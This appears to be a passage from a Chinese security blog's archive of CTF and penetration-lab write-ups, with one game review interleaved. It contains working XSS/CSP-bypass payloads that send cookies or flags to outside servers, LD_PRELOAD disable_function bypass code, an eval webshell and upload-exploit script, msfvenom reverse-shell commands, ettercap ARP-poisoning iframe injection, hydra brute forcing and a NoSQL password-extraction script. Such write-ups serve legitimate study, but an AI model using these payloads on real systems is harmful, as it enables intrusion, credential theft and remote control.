    {{constructor.constructor('alert(document.cookie)')()}}
</div>

修复

orange师傅的文章

利用条件:

CDN服务商存在某些低版本的js库
此CDN服务商在CSP白名单中

location.href

通过页面跳转功能来实现

location.href = "vps_ip:xxxx?"+document.cookie

link标签绕过(比较老了)

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

带外数据的写法

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

使用条件：

k可以执行任意的js脚本，但是无法带外数据

iframe绕过

当一个同源站点，同时存在两个页面，其中一个有CSP保护的A页面，另一个没有CSP保护B页面，那么如果B页面存在XSS漏洞，我们可以直接在B页面新建iframe用javascript直接操作A页面的dom，可以说A页面的CSP防护完全失效

jsonp绕过

收集

CSP绕过实例

BSidesSF 2020 csp-1

csp如下，script-src 支持 data

content-security-policy: 
    script-src 'self' data:; 
    default-src 'self'; 
    connect-src *; 
    report-uri /csp_report

可以使用 fetch (js实在是不熟悉)

payload-1

<script src="data:,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://rwx.kr/?'+escape(x))">

或者编码也是可以的

// NOTE:
// "ZmV0Y..." is base64 encoded text of this script.
// fetch("https://csp-1-5aa1f221.challenges.bsidessf.net/csp-one-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))

<script src="data:text/javascript;base64,ZmV0Y2goImh0dHBzOi8vY3NwLTEtNWFhMWYyMjEuY2hhbGxlbmdlcy5ic2lkZXNzZi5uZXQvY3NwLW9uZS1mbGFnIikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgiWU9VUl9TRVJWRVIiK3QpKQ=="></script>

csp-2

Content-Security-Policy: 
script-src 'self' ajax.googleapis.com 'unsafe-eval'; 
default-src 'self' 'unsafe-inline'; 
connect-src *; report-uri /csp_report

看到了 ajax.googleapis.com 在白名单中，可以使用其提供的angularjs的模板注入来绕过

<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js></script>
<div ng-app ng-csp>
{{constructor.constructor('eval(atob("ZmV0Y2goIi9jc3AtdHdvLWZsYWciKS50aGVuKHg9PngudGV4dCgpKS50aGVuKHg9PmxvY2F0aW9uPSIvL3J3eC5rci8/Iitlc2NhcGUoeCkp"))')()}}
</div>

payload2

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script> 
<div class="ng-app"> {{ constructor.constructor('fetch("https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))')() }} </div>

绕过disable_function总结

Sun, 08 Mar 2020 00:00:00 GMT

基础知识

有一部分CTF题目，当你拿到webshell，蚁剑连接上去之后，却不能执行系统命令，这就是要绕过 disable_function 了

可以看到禁用了很多函数

apache_child_terminate,apache_setenv,chgrp,chmod,chown,curl_exec,curl_multi_exec,dl,exec,imap_mail,imap_open,ini_alter,ini_restore,ini_set,link,mail,openlog,parse_ini_file,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_wait,pcntl_waitpid,pcntl_wstopsig,pcntl_wtermsig,popen,posix_kill,proc_get_status,proc_open,proc_terminate,putenv,readlink,shell_exec,symlink,syslog,system

LD_PRELOAD 劫持系统函数

LD_PRELOAD 是linux系统的一个环境变量，它可以影响程序的运行时的链接，它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

所以我们就可以通过利用环境变量LD_PRELOAD劫持系统函数，让外部程序加载恶意的.so文件，达到执行系统命令的效果

例如：

$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls

即在执行ls命令前，会先加载指定路径的malloc.so文件，如果这是一个恶意共享对象，那么可以执行任意操作。

我们可以通过readelf命令查看某个命令调用了哪些外部链接库，然后找到其中某个库，编写同名函数进行劫持，然后编译成共享对象文件，接着使用LD_PRELOAD环境变量指定生成的对象，达到命令执行的目的。

一个简单的劫持示例

getpid.c 的内容如下

#include <sys/types.h>
#include <unistd.h>

void payload(void){
    system("echo 'pwned by getpid!'");
}

pid_t getpid(void){
    if (getenv("LD_PRELOAD") == NULL){
        return 0;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return 0;
}

我们在这里劫持了 getpid 函数，由于python运行的时候使用了 getpid 函数，所以可以通过 LD_PRELODAD 来执行任意命令

gcc -shared -fPIC getpid.c -o getpid.so
LD_PRELOAD=./getpid.so python

执行效果

注意：因为通过设置preload劫持了比较底层的函数，而派发出的新进程如果用到该函数也会一并被劫持，也就是说如果没有及时unsetenv("LD_PRELOAD")则会导致不断循环，一旦操作敏感就会比较危险，所以一定要及时删除这个环境变量，

所以绕过php disable_function也就比较简单了

php中的mail、error_log函数是通过调用系统中的sendmail命令实现的(其他类似php中的函数还有imap_mail、mb_send_mail参考)，sendmail二进制文件中使用了getuid库函数，这样我们可以覆盖getuid函数。

写一个 getuid

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int  getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

gcc -shared -fPIC geteuid.c -o getuid.so 编译成动态链接库。

然后再写一个php文件，设置好 EVIL_CMDLINE 环境变量，同时需要执行 so 文件地址

<?php
    $cmd = $_REQUEST["cmd"];
    $out_path = $_REQUEST["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_REQUEST["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";  
?>

无需劫持函数绕过 disable_function

下载地址

GCC 有个 C 语言扩展修饰符attribute((constructor))，可以让由它修饰的函数在 main() 之前执行，若它出现在共享对象中时，那么一旦共享对象被系统加载，立即将执行attribute((constructor)) 修饰的函数。

于是修改一下原来的共享链接库代码

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

这意味着，我们只需要找到该php环境中存在执行系统命令的函数、且putenv函数未被禁用的情况下，就可以绕过disable_function。

演示一下

#include <unistd.h>

void payload(void){
    system("echo 'pwned!'");
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv("LD_PRELOAD") == NULL){
        return;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return;
}

php7绕过disable_funtion

脚本地址

ctfhub题目

LD_PRELOAD

使用蚁剑连接之后，直接加载插件，之后生成一个 .antproxy.php ，选择这个文件连接即可(密码不变)

参考

https://kylingit.com/blog/%E5%88%A9%E7%94%A8ld_preload%E7%BB%95%E8%BF%87disbale_functions/

https://j7ur8.github.io/WebBook/PHP/LD_PRELOAD%E5%8A%AB%E6%8C%81%E7%B3%BB%E7%BB%9F%E5%87%BD%E6%95%B0.html

https://blog.szfszf.top/article/37/

反序列化导致字符的逃逸

Thu, 05 Mar 2020 00:00:00 GMT

分析

PHP 在反序列化时，对类中不存在的属性也会进行反序列化

这个点很神奇，

例题一

<?php
function filter($string){
    return preg_match('/x/','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);

var_dump(serialize($user));
echo '\n';

$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));

这里将 x 替换为 yy,也就是变长了，正常的序列化数据为

a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}

如果我们可以控制用户名去修改密码，那么应该是这样的

a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}

(尤其注意这里的双引号)

peri0d 长度为6，";i:1;s:6:"123456";} 长度为20

x替换为yy，长度由原来的1变为2，那么我们这里设填充为z,满足

6+20+z = 6+2z，得到的z就是20，所以填充x为20即可

$username = "peri0d";
$payload = '";i:1;s:6:"123456";}';
$x = str_repeat("x",20);
$username = $username.$x.$payload;
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));

结果

"a:2:{i:0;s:46:"peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}"

array(2) {
  [0] =>
  string(46) "peri0dyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
  [1] =>
  string(6) "123456"
}

例题二

安洵杯 easy_serialize_php

代码如下

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

flag 在 d0g3_f1ag.php 这个文件中

$_SESSION 数组中有 user, funciton, img 这三个属性

最后读文件的文件名是 $_SESSION['img'] ，如果能够控制这个属性就好了，但是

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

显然 sha1 的数据你是没法控制的，那怎么搞呢

重点在这里

$serialize_info = filter(serialize($_SESSION));

序列化之后经过了一次过滤

而 extract($_POST); 使得我们可以控制 $_SESSION 数组中的 user 和 function

先测试一下正常的一段序列化字符：

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:4:"2333";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}

能不能控制好user和function，使得加上一个我们控制好的img

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:4:"2333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";};s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}

这样反序列化的时候最后的那个 img属性就是多余的了，我们来计算一下怎么利用过滤来达到目的

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION['user'] = '2333';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZwo=';

$a = filter(serialize($_SESSION));

var_dump(filter(serialize($_SESSION)));
// var_dump(unserialize($a));

此时生成的是

a:3:{s:4:"user";s:4:"2333";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}

我们要让 ";s:8:"function";s:61:"a 这段字符被吃掉，成为 user 的值，算一下长度24，正好是6个flag

所以

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION['user'] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZwo=';

$a = filter(serialize($_SESSION));

var_dump(filter(serialize($_SESSION)));
var_dump(unserialize($a));

这时候得到的结果

a:3:{s:4:"user";s:24:"";s:8:"function";s:61:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:2:"dd";s:3:"aaa";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZwo=";}

再进行反序列化

array(3) {
  'user' =>
  string(24) "";s:8:"function";s:61:"a"
  'img' =>
  string(20) "ZDBnM19mMWFnLnBocAo="
  'dd' =>
  string(3) "aaa"
}

可以看到成功地覆盖了img属性

ps,又测试了一下如果有两个img属性会怎么搞

$_SESSION['user'] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAo=";s:3:"img";s:3:"aaa";}';
$_SESSION['img'] = 'Z3Vlc3RfaW1nLnBuZwo=';

得到的结果是：

array(2) {
  'user' =>
  string(24) "";s:8:"function";s:62:"a"
  'img' =>
  string(3) "aaa"
}

此时img属性被合并了

网络侦察实验

Thu, 05 Mar 2020 00:00:00 GMT

实验的网络拓扑结构：kali是攻击机，另外两台是靶机

任务一使用nmap,ettercap进行网络侦查和密码嗅探

ettercap使用

常用参数

-l 显示可用网卡
-i 选择网卡
-t 协议选择，tcp/udp/all
-p 不进行毒化攻击，只用来嗅探
-F 载入过滤器文件
-V text 将数据包以文本形式显示在屏幕上

ettercap -Tzq 以命令行显示，只嗅探本地数据包，只显示捕捉到的用户名和密码以及其他信息

具体到这个实验，需要使用ettercap去捕获ftp登陆的用户名和口令。其中，192.168.1.3 开放了ftp端口，所以尝试多次之后

ettercap -i eth1 -Tq -L sniffeddata -M arp:remote //192.168.1.3/21//

然后就抓到密码了

ettercap过滤脚本学习：

 if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.dst == 80 || tcp.dst == 8080) { 
     #...and if it contains an Accept-Encoding header... 
     if (search(DATA.data, "Accept-Encoding")) { 
     #...remove any Encoding (make sure we are using plain text) 
     replace("Accept-Encoding", "Accept-Nothing!");   
     }   
 }   
 #--Inject Iframe--   
 if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.src == 80 || tcp.src == 8080) {   
    if (search(DATA.data, "<body>")){   
        #Replace it with the body tag and an iframe to our attacking webpage   
        replace("<body>","<body><iframe src='http://192.1.1.200' width=0 height=0 />");   
        msg("iframe injected after <body>\n");   
    }   
    if (search(DATA.data, "<BODY>")){   
        replace("<BODY>","<BODY><IFRAME SRC='http://192.1.1.200' width=0 height=0 />");   
        msg("iframe injected after <BODY>\n");   
    }   
}

第一部分的作用是将HTTP请求头中的Accept-Encoding部分替换掉，使WebServer返回的数据是原始数据，而不是经过压缩（如gzip）后的数据，方便我们嗅探分析。第二部分的作用是查找返回数据中的和标签，并在它后面添加一个iframe标签。

基本语法

Ettercap的过滤规则只有经过编译之后才能由-F参数载入到ettercap中使用。
编译过滤规则的命令是：
etterfilter filter.ecf -o filter.ef。
即把filter.ecf文件编译成ettercap能识别的filter.ef文件。
过滤规则的语法与C类似，但只有if语句，不支持循环语句。需要注意的地方是，if与”(”之间必须要有一个空格，且大括号{}不能省略。
Ettercap提供的一些常用的函数有：
search(where, what) 从字符串where中查找what，若找到则返回true
regex(where, regex) 从字符串where中匹配正则表达式regex，若找到则返回true
replace(what, with) 把字符串what替换成字符串with
log(what, where) 把字符串what记录到where文件中
msg(message) 在屏幕上显示出字符串message
exit() 退出

（当然这里不用这么复杂啦

任务二使用crunch，hydra暴力破解ssh服务

crunch的基本用法

*　　-b #体积大小，比如后跟20mib
*　　-c #密码个数（行数），比如8000
*　　-d #限制出现相同元素的个数（即至少出现元素个数），-d 3就不会出现zzf ffffgggg之类的
*　　-e #定义停止生成密码，比如-e 222222：到222222停止生成密码
*　　-f #调用密码库文件，比如/usr/share/crunch/charset.lst
*　　-i #改变输出格式
*　　-l #与-t搭配使用
*　　-m #与-p搭配使用
*　　-o #保存为
*　　-p #定义密码元素
*　　-q #读取字典
*　　-r #定义从某一个地方重新开始
*　　-s #第一个密码，从xxx开始
*　　-t #定义输出格式

hydra爆破的用法

破解ssh

hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh

破解ftp

hydra ip ftp -l 用户名 -P 密码字典 -t线程(默认16) -vV

破解rdp

hydra ip rdp -l administrator -P pass.txt -V

破解telnet

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

当然这里我们直接社工吧。。hacker123

任务三使用ssh登陆

不说了。。ssh命令了解一下即可

任务四获取目标网站的webshell权限，控制目标机，获得敏感信息

这是exponent cms的漏洞，百度就知道了

https://www.anquanke.com/post/id/84514

简单来说就是对上传没做过滤可以任意文件上传，但是上传之后就会被删掉

(看上去挺安全的，其实23333，引狼入室犯了安全大忌)

在判断的时候，可以通过修改参数来实现绕过删除

绕过删除之后，由于文件被重命名了，所以需要爆破一下文件名，使用脚本能够比较方便的完成


base_url='http://192.168.1.4/'
url_for_time='index.php?module=eventregistration&action=eventsCalendar'
url_for_upload='index.php?module=eventregistration&action=emailRegistrants&email_addresses=123456789@123.com&email_message=1&email_subject=1'

files={'attach':open('index.php','rb')}

requests.post(base_url+url_for_upload,files=files)

print 'upload finish'

r=requests.get(base_url+url_for_time)
html1=r.content
#print html1
index=r.content.find('History.pushState')
if index:
    time=html1[index:index+60].split('rel')[1].split('\'')[1]
else:
    print 'something wrong'
    exit(0)
print "get time:"+ time

for i in range(int(time),int(time)-20,-1):
    shell_url=base_url+'tmp/'+str(i)+'_index.php'
    r2=requests.get(shell_url)
    if r2.status_code==200:
        print "shell is here : "+shell_url

准备一个index.php

root@simpleedu:~# cat index.php
<?php
eval($_REQUEST[cmd]);
phpinfo();?>

(为了验证上传成功，多加个phpinfo())

自动上传，爆破得到文件名

然后就是添加用户，将用户添加到用户组

net user hacker Beijing123 /add
net localgroup administrators hacker /add

看一下端口开放情况

这里。。比较坑的就是远程桌面并不是3389，而是。。。35155

rdesktop 192.168.1.4:35155

连接之后即可，发现 2.key 文件，给它添加一个用户即可

太卡了就不演示了

ps 使用metasploit做法

一开始由于找不到图形界面，所以只能用命令行去刚。最后还是屈服了(GUI真香)

msfvenom生成php马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f raw  -o index.php

然而美中不足的是权限不够，所以需要再生成一个Windows的木马反弹一次。。

重新开始监听，换一个payload

msfvenom 生成shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f exe -o shell.exe

传一下shell.exe

执行，成功反弹

当然这样也能获得管理员权限，但是还是没法读文件

也就是记录一下msf的强大

文明六玩后感

Wed, 04 Mar 2020 00:00:00 GMT

完了一段的时间的文明六，（虽然才48个小时

总体感觉

一开始玩这个游戏有点不知所措，因为这个游戏的信息量实在是太大了，后来慢慢地从别人的视频中才逐渐的熟悉起来。

文明六大概分为几个部分吧，首先是最基本的城市，可以建造区域，练兵，造工人，开拓者。然后是

vulnhub靶机渗透-DC-8

Mon, 02 Mar 2020 00:00:00 GMT

信息收集

nmap扫描结果

PORT   STATE SERVICE  VERSION
22/tcp open  ssh      OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  ssl/http Apache
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 08:00:27:A8:B6:73 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

打开80端口发现是drupal,扫描到后台 http://192.168.56.102/user ，并且发现了可疑注入点

sqlmap注入

得到用户名和密码

+-------+---------------------------------------------------------+
| name  | pass                                                    |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+

不过密码是hash过的，使用john爆破，只有 john 用户的密码可以爆破出来 turtle

后台getshell

修改页面

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.1 lport=4444 -f raw  -o shell.php

生成 shell ，修改

修改完之后，提交表单

成功getshell

提权

寻找 SUID

www-data@dc-8:/tmp$ find / -perm -u=s -type f 2>/dev/null 
find / -perm -u=s -type f 2>/dev/null                     
/usr/bin/chfn                                             
/usr/bin/gpasswd                                          
/usr/bin/chsh                                             
/usr/bin/passwd                                           
/usr/bin/sudo                                             
/usr/bin/newgrp                                           
/usr/sbin/exim4                                           
/usr/lib/openssh/ssh-keysign                              
/usr/lib/eject/dmcrypt-get-device                         
/usr/lib/dbus-1.0/dbus-daemon-launch-helper               
/bin/ping                                                 
/bin/su                                                   
/bin/umount                                               
/bin/mount

发现了 exim4 ,这是一个邮件程序

搜索相关的 exploit

将 46996.sh 上传到靶机上，注意需要修改一下文件格式为 unix

set ff=unix

最后得到flag

HTB Traverxec靶机实战

Sat, 29 Feb 2020 00:00:00 GMT

信息收集

22号端口和80号端口

看到http的信息是 nostromo,msf搜索exploit直接打

user flag

由于是 nostromo 搭建的，根目录在 /var/nostromo

查找conf目录

查看配置文件 nhttpd.conf

发现根目录是在 public_www 下
是在家目录下，这个权限配置很有意思，你只能进去却看不到

下载压缩包下来 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

解压之后就得到了私钥，但是尝试登陆还是需要密码

这里就需要爆破了

可以使用john，首先需要 python ssh2john.py id_rsa > rsacrack 转一下。但是这种方式太慢了，换一种，折耳根payload记一下

cat /usr/share/john/password.lst | while read pass; do if ssh-keygen -c -C "david@10.10.10.165" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done

然后登陆密码是 hunter

david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d

得到flag

提权

看到一个文件

david@traverxec:~/bin$ cat server-stats.head                                           
                                                                          .----.       
                                                              .---------. | == |       
   Webserver Statistics and Data                              |.-"""""-.| |----|       
         Collection Script                                    ||       || | == |       
          (c) David, 2019                                     ||       || |----|       
                                                              |'-.....-'| |::::|       
                                                              '"")---(""' |___.|       
                                                             /:::::::::::\"    "       
                                                            /:::=======:::\            
                                                        jgs '"""""""""""""'            
                                                                                       
david@traverxec:~/bin$ cat server-stats.sh                                             
#!/bin/bash                                                                            
                                                                                       
cat /home/david/bin/server-stats.head                                                  
echo "Load: `/usr/bin/uptime`"                                                         
echo " "                                                                               
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"               
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"    
echo " "                                                                               
echo "Last 5 journal log lines:"                                                       
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

发现 journalctl 是用sudo执行的

提权： /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

# cat root.txt9aa36a6d76f785dfd320a478f6e0d906

总结

整体下来感觉还行，还是要扩大知识面

HTB mango靶机实战

Sat, 29 Feb 2020 00:00:00 GMT

信息收集

22端口，80端口，443端口

这里改一下host

staging-order.mango.htb

访问网站

user flag

有点坑，是mongodb，nosql注入

参考爆破脚本

#!/usr/bin/env python  





  

url = "http://staging-order.mango.htb/index.php"  

headers = {"Host": "staging-order.mango.htb"}  

cookies = {"PHPSESSID": "9k6j39np56td4vq3q4lg4eh95j"}  

possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]  

def get_password(username):  

    print("Extracting password of " + username)  

    params = {"username":username, "password[$regex]":"", "login": "login"}  

    password = "^"  

    while True:  

        for c in possible_chars:  

            params["password[$regex]"] = password + c + ".*"  

            pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

            if int(pr.status_code) == 302:  

                password += c  

                break  

        if c == possible_chars[-1]:  

            print ("Found password "+password[1:].replace("\\", "")+" for username "+username)  

            return password[1:].replace("\\", "")  

  

def get_usernames():  

    usernames = []  

    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}  

    for c in possible_chars:  

        username = "^" + c  

        params["username[$regex]"] = username + ".*"  

        pr = requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False)  

        if int(pr.status_code) == 302:  

            print("Found username starting with "+c)  

            while True:  

                for c2 in possible_chars:  

                    params["username[$regex]"] = username + c2 + ".*"  

                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, allow_redirects=False).status_code) == 302:  

                        username += c2  

                        print(username)  

                        break  

                if c2 == possible_chars[-1]:  

                    print("Found username: " +username[1:])  

                    usernames.append(username[1:])  

                    break  

    return usernames  

for u in get_usernames():  

    get_password(u)

爆出密码

Found username: mango
Extracting password of admin
Found password t9KcS3>!0B#2 for username admin
Extracting password of mango
Found password h3mXK8RhU~f{]f5H for username mango

使用mango用户登陆

切换为admin

userflag

$ cat user.txt
79bf31c6c6eb38a8567832f7f8b47e92

root flag

sudo -l 试一下

find / -user root -perm -4000 2>/dev/null

寻找SUID

根据https://gtfobins.github.io/gtfobins/jjs/可直接读取到root.txt

Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var BufferedReader = Java.type("java.io.BufferedReader");
jjs> var FileReader = Java.type("java.io.FIleReader");
java.lang.RuntimeException: java.lang.ClassNotFoundException: java.io.FIleReader
jjs> var FileReader = Java.type("java.io.FileReader");
jjs> var br = new BufferedReader(new FileReader("/root/root.txt"));
jjs> while((line=br.readline())!=null){print(line);}
<shell>:1 TypeError: br.readline is not a function
jjs> while((line=br.readLine())!=null){print(line);}
8a8ef79a7a2fbb01ea81688424e9ab15

vulnhub靶机渗透-Connectthedots

Mon, 10 Feb 2020 00:00:00 GMT

vulnhub靶机渗透-Connectthedots

这个靶机比较脑洞，但是最后的提权过程挺有意思的。

目标：/home/user.txt and /root/root.txt

环境准备

由于VMware会出现种种问题，于是改成了Virtual Box,而且Vulhub上的大部分靶机都是使用Virtual Box制作的

附上一些相关的配置截图：

kali 2019.04
第一块网卡没做修改

添加了第二块网卡

vulnhub靶机渗透-Connectthedots作为靶机，同样添加了第二块网卡

信息收集

kali IP ： 192.168.99.101

通过nmap发现另一台主机(注意netdiscover和arp-scan都无法使用了)

主机开放的所有服务：

一个个来看

21端口

vsftp 服务， metasploit搜索payload

返回的信息：

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 

[*] 192.168.99.104:21 - Banner: 220 Welcome to Heaven!
[*] 192.168.99.104:21 - USER: 530 Permission denied.
[-] 192.168.99.104:21 - This server is configured for anonymous only and the backdoor code cannot be reached
[*] Exploit completed, but no session was created.

尝试匿名登陆没有成功

80端口

目录遍历：

扫描结果有两个index页面，查看其中一个发现：

发现了注释

访问发现是一个登陆页面，发现这个登陆页面并不会有数据包，是个静态页面

然后访问 /mysite

查看文件后发现

是jsfuck编码

jsfuck解码网站 http://www.jsfuck.com/#

也可以直接用浏览器的控制台解码

可以将其复制到浏览器的控制台：
然后输入：

这样可以免去手动复制粘贴的麻烦

得到结果：

You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19

得到了secret，猜测是ssh登陆的口令

2049端口

开放了NFS服务

使用nmap或者metasploit探测可以挂载的目录，

msf5 auxiliary(scanner/nfs/nfsmount) > exploit 

[+] 192.168.99.104:111    - 192.168.99.104 NFS Export: /home/morris [*]
[*] 192.168.99.104:111    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

获得挂载目录 /home/morris

安装nfspysh:

git clone https://github.com/bonsaiviking/NfSpy.git

ssh服务

nmap没有扫除ssh开放的端口，因为这台靶机的ssh并不是开放在通常的22号端口上

通过扫描确认：

ssh开放的端口是7822

尝试用之前得到的口令去登陆，用户名是morris
登陆失败

从80端口的index.html知道，M和N的命名规则，尝试修改用户名为norris

登陆成功！
得到user.txt的内容

之后去/var/www/html目录下查看文件

发现了.secretfile.swp文件
直接查看提示权限不够，于是想到从网页下载

可以看到.secretfile.swp文件的权限被设置为只有www-data用户才能读写

通过vim -r secretfile.swp得到源文件内容

I see you're here for the password. Holy Moly! Battery is dying !! Mentioning below for reference..

blehguessme090

于是成功登陆morris用户

最后的“提权”

登陆了morris用户之后，还是无法进入到root的目录下查看文件

先上一个LinEnum.sh提权辅助脚本，但是并未发现有意思的东西

又去找到了另外一个脚本 https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

功能比较全面，并且发现了这个：

查阅文档发现了这个，类似SUID

那么尝试用tar去打包root目录下的文件

打包失败，原来这个命令应该在norris用户下执行

于是将root目录下的文件打包

解压之后得到flag

参考

